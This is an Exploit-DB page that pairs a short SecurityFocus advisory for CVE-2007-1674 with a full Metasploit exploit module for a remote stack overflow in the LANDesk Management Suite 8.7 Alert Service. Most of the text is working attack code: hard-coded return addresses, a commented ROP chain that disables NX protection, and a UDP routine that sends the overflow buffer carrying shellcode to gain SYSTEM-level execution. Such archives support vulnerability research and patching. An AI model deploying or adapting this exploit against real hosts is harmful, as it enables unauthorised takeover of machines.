标题: LANDesk Management Suite 8.7 Alert Service - 'AOLSRVR.exe' Remote Buffer Overflow EDB-ID: 29853 CVE: 2007-1674 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/23483/info

LANDesk Management Suite is prone to a remote stack-based buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue would result in the complete compromise of affected computers. Failed exploit attempts will result in a denial of service.

This issue affects LANDesk Management Suite 8.7; prior versions may also be affected. 

##
# $Id: landesk_aolnsrvr.rb 4886 2007-05-07 04:48:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Landesk_Aolnsrvr < Msf::Exploit::Remote

 include Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack overflow in LANDesk Management Suite 8.7. By sending
    an overly long string to the Alert Service, a buffer is overwritten and arbitrary
    code can be executed.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 4886 $',
   'References'     => 
    [ 
     ['CVE', '2007-1674'],
     ['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 336,
     'StackAdjustment' => -3500, 
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Aolnsrvr 4.0
     [ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ],
     [ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ],
     [ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 13 2007'))

   register_options([Opt::RPORT(65535)], self.class)

 end

 def exploit
  connect_udp

  if (target.name =~ /NX/)
   txt = Rex::Text.rand_text_alphanumeric(1024)

   ib = target['IB']

   # to bypass NX we need to emulate the call to ZwSetInformationProcess
   # with generic value (to work on 2k3 SP1-SP2 - XP SP2)


   # first we set esi to 0xed by getting the value on the stack
   #
   # 0x00401b46:
   # pop esi   <- esi = edh
   # retn

   txt[ 280, 4 ] = [ib + 0x1b46].pack('V')
   txt[ 296, 4] = [0xed].pack('V')

   # now we set ecx to 0x7ffe0300, eax to 0xed
   # 0x00401b43:
   # pop ecx    <-  ecx = 0x7ffe0300 - 0xFF0
   # mov eax, esi   <- eax == edh
   # pop esi    <- 0x45b4ea (data section)
   # retn

   txt[ 300, 4] = [ib + 0x1b43].pack('V')
   txt[ 304, 4] = [0x7ffe0300 - 0xff0].pack('V')
   txt[ 308, 4] = [ib + 0x5b4ea].pack('V')

   # we set edx to 0x7FFe300 (ecx + 0xff0)
   # 0x004106b1:
   # lea edx, [ecx+0ff0h]
   # mov [esi+4], edx
   # mov [esi+8], edi
   # pop edi
   # mov [esi+0Ch], eax
   # pop esi
   # retn
   
   txt[ 312, 4] = [ib + 0x106b1].pack('V')
   
   
   # finally we call NtSetInformationProcess (-1, target['ProcessInfo'], ib+0x4ec84, 4)
   # 0x0044ec84 is a pointer to 0x2 to disable NX
   # 0x0042a28e:
   # call dword ptr [edx]
   # mov esi, eax
   # mov eax, esi
   # pop edi
   # pop esi
   # pop ebp
   # pop ebx
   # add esp, 134h
   # retn 1Ch

   txt[ 324, 4] = [ib + 0x2a28e].pack('V')  # call dword ptr[ecx]
   txt[ 332, 16] = [-1, 34, 0x0044ec84, 4].pack('VVVV')

   # we catch the second exception to go back to our shellcode, now that
   # NX is disabled

   txt[ 652, 4 ] = [ib + 0x23554].pack('V')   # (jmp esp in atl.dll)
   txt[ 684, payload.encoded.length ] = payload.encoded

  else
   # One-shot overwrite =(
   txt = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
  end
  
  print_status("Trying target #{target.name}...")
   
  udp_sock.put(txt)
  
  handler(udp_sock)
  disconnect_udp  
 end

end
end URL: https://www.exploit-db.com/exploits/29853